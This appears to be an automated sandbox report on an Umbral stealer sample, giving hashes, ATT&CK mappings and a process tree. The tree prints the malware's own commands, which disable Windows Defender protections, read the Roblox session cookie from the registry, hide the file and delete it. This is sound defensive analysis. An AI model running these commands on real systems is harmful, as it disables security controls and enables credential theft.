umbral | cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
20-01-2025 04:49

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General

Target

cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe
Size

496KB
MD5

5679fd7303147ee1bc6c4adc979de286
SHA1

65354bef2646e0d6536ed4ca614839c4e245ad16
SHA256

cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16
SHA512

6d0f2241a55c1549cc9e02fdd7f0368548a3c933772ffb5a8a3bf47a9743470fe017f4bf6e5dad0f4b87111416418db67b6cb4a887378ee3ef88554e0f80c221
SSDEEP

12288:ZoZ1tlRk83Mlp6BpcCFdWXp8aLLy5MvOAs:q5r3bBpcCFdWXp8aLLy5yq

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2164-1-0x0000000001190000-0x0000000001212000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2700	powershell.exe
2880	powershell.exe
1532	powershell.exe
2040	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe

Deletes itself 1 IoCs

pid	Process
1492	cmd.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1492	cmd.exe
2360	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1320	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2360	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2164	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe
2700	powershell.exe
2040	powershell.exe
2880	powershell.exe
712	powershell.exe
1532	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2164	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe
Token: SeIncreaseQuotaPrivilege	2688	wmic.exe
Token: SeSecurityPrivilege	2688	wmic.exe
Token: SeTakeOwnershipPrivilege	2688	wmic.exe
Token: SeLoadDriverPrivilege	2688	wmic.exe
Token: SeSystemProfilePrivilege	2688	wmic.exe
Token: SeSystemtimePrivilege	2688	wmic.exe
Token: SeProfSingleProcessPrivilege	2688	wmic.exe
Token: SeIncBasePriorityPrivilege	2688	wmic.exe
Token: SeCreatePagefilePrivilege	2688	wmic.exe
Token: SeBackupPrivilege	2688	wmic.exe
Token: SeRestorePrivilege	2688	wmic.exe
Token: SeShutdownPrivilege	2688	wmic.exe
Token: SeDebugPrivilege	2688	wmic.exe
Token: SeSystemEnvironmentPrivilege	2688	wmic.exe
Token: SeRemoteShutdownPrivilege	2688	wmic.exe
Token: SeUndockPrivilege	2688	wmic.exe
Token: SeManageVolumePrivilege	2688	wmic.exe
Token: 33	2688	wmic.exe
Token: 34	2688	wmic.exe
Token: 35	2688	wmic.exe
Token: SeIncreaseQuotaPrivilege	2688	wmic.exe
Token: SeSecurityPrivilege	2688	wmic.exe
Token: SeTakeOwnershipPrivilege	2688	wmic.exe
Token: SeLoadDriverPrivilege	2688	wmic.exe
Token: SeSystemProfilePrivilege	2688	wmic.exe
Token: SeSystemtimePrivilege	2688	wmic.exe
Token: SeProfSingleProcessPrivilege	2688	wmic.exe
Token: SeIncBasePriorityPrivilege	2688	wmic.exe
Token: SeCreatePagefilePrivilege	2688	wmic.exe
Token: SeBackupPrivilege	2688	wmic.exe
Token: SeRestorePrivilege	2688	wmic.exe
Token: SeShutdownPrivilege	2688	wmic.exe
Token: SeDebugPrivilege	2688	wmic.exe
Token: SeSystemEnvironmentPrivilege	2688	wmic.exe
Token: SeRemoteShutdownPrivilege	2688	wmic.exe
Token: SeUndockPrivilege	2688	wmic.exe
Token: SeManageVolumePrivilege	2688	wmic.exe
Token: 33	2688	wmic.exe
Token: 34	2688	wmic.exe
Token: 35	2688	wmic.exe
Token: SeDebugPrivilege	2700	powershell.exe
Token: SeDebugPrivilege	2040	powershell.exe
Token: SeDebugPrivilege	2880	powershell.exe
Token: SeDebugPrivilege	712	powershell.exe
Token: SeIncreaseQuotaPrivilege	1700	wmic.exe
Token: SeSecurityPrivilege	1700	wmic.exe
Token: SeTakeOwnershipPrivilege	1700	wmic.exe
Token: SeLoadDriverPrivilege	1700	wmic.exe
Token: SeSystemProfilePrivilege	1700	wmic.exe
Token: SeSystemtimePrivilege	1700	wmic.exe
Token: SeProfSingleProcessPrivilege	1700	wmic.exe
Token: SeIncBasePriorityPrivilege	1700	wmic.exe
Token: SeCreatePagefilePrivilege	1700	wmic.exe
Token: SeBackupPrivilege	1700	wmic.exe
Token: SeRestorePrivilege	1700	wmic.exe
Token: SeShutdownPrivilege	1700	wmic.exe
Token: SeDebugPrivilege	1700	wmic.exe
Token: SeSystemEnvironmentPrivilege	1700	wmic.exe
Token: SeRemoteShutdownPrivilege	1700	wmic.exe
Token: SeUndockPrivilege	1700	wmic.exe
Token: SeManageVolumePrivilege	1700	wmic.exe
Token: 33	1700	wmic.exe
Token: 34	1700	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2164 wrote to memory of 2688	2164	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	30
PID 2164 wrote to memory of 2688	2164	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	30
PID 2164 wrote to memory of 2688	2164	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	30
PID 2164 wrote to memory of 2112	2164	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	33
PID 2164 wrote to memory of 2112	2164	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	33
PID 2164 wrote to memory of 2112	2164	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	33
PID 2164 wrote to memory of 2700	2164	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	35
PID 2164 wrote to memory of 2700	2164	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	35
PID 2164 wrote to memory of 2700	2164	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	35
PID 2164 wrote to memory of 2040	2164	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	37
PID 2164 wrote to memory of 2040	2164	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	37
PID 2164 wrote to memory of 2040	2164	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	37
PID 2164 wrote to memory of 2880	2164	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	39
PID 2164 wrote to memory of 2880	2164	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	39
PID 2164 wrote to memory of 2880	2164	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	39
PID 2164 wrote to memory of 712	2164	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	41
PID 2164 wrote to memory of 712	2164	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	41
PID 2164 wrote to memory of 712	2164	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	41
PID 2164 wrote to memory of 1700	2164	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	43
PID 2164 wrote to memory of 1700	2164	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	43
PID 2164 wrote to memory of 1700	2164	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	43
PID 2164 wrote to memory of 2848	2164	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	45
PID 2164 wrote to memory of 2848	2164	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	45
PID 2164 wrote to memory of 2848	2164	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	45
PID 2164 wrote to memory of 2044	2164	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	47
PID 2164 wrote to memory of 2044	2164	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	47
PID 2164 wrote to memory of 2044	2164	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	47
PID 2164 wrote to memory of 1532	2164	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	49
PID 2164 wrote to memory of 1532	2164	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	49
PID 2164 wrote to memory of 1532	2164	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	49
PID 2164 wrote to memory of 1320	2164	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	51
PID 2164 wrote to memory of 1320	2164	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	51
PID 2164 wrote to memory of 1320	2164	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	51
PID 2164 wrote to memory of 1492	2164	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	53
PID 2164 wrote to memory of 1492	2164	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	53
PID 2164 wrote to memory of 1492	2164	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	53
PID 1492 wrote to memory of 2360	1492	cmd.exe	55
PID 1492 wrote to memory of 2360	1492	cmd.exe	55
PID 1492 wrote to memory of 2360	1492	cmd.exe	55

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2112	attrib.exe

C:\Users\Admin\AppData\Local\Temp\cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe
"C:\Users\Admin\AppData\Local\Temp\cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2164
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2688
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe"
  2⤵
  - Views/modifies file attributes
  PID:2112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2040
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2880
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:712
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1700
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:2848
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:2044
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1532
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1320
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:1492
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2360

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\7HQTI7K4STDBFPX1SL1N.temp

Filesize
7KB

MD5
3a3b3193903b3ea23e83d43adb2da23e

SHA1
58a8503e102b45ca0bed70aaeb79a9ab5a65f005

SHA256
c3285972e5d30f41d42860ee465531b3e5ef84fec55807b231725a435050c4b0

SHA512
ee3e8310d070353f26865331641da2dd2e0ce331c0be4d2cd74ec2a619b6f20a5a01ad0615cfd66a156ee665b550a04e10d5209cd1cfd89da1787c36abae6e5d

Download Submit
memory/1532-43-0x0000000001E80000-0x0000000001E88000-memory.dmp

Filesize
32KB

Download
memory/2040-14-0x000000001B6F0000-0x000000001B9D2000-memory.dmp

Filesize
2.9MB

Download
memory/2040-15-0x0000000002290000-0x0000000002298000-memory.dmp

Filesize
32KB

Download
memory/2164-0-0x000007FEF5803000-0x000007FEF5804000-memory.dmp

Filesize
4KB

Download
memory/2164-1-0x0000000001190000-0x0000000001212000-memory.dmp

Filesize
520KB

Download
memory/2164-2-0x000007FEF5800000-0x000007FEF61EC000-memory.dmp

Filesize
9.9MB

Download
memory/2164-47-0x000007FEF5800000-0x000007FEF61EC000-memory.dmp

Filesize
9.9MB

Download
memory/2700-7-0x000000001B710000-0x000000001B9F2000-memory.dmp

Filesize
2.9MB

Download
memory/2700-8-0x0000000002340000-0x0000000002348000-memory.dmp

Filesize
32KB

Download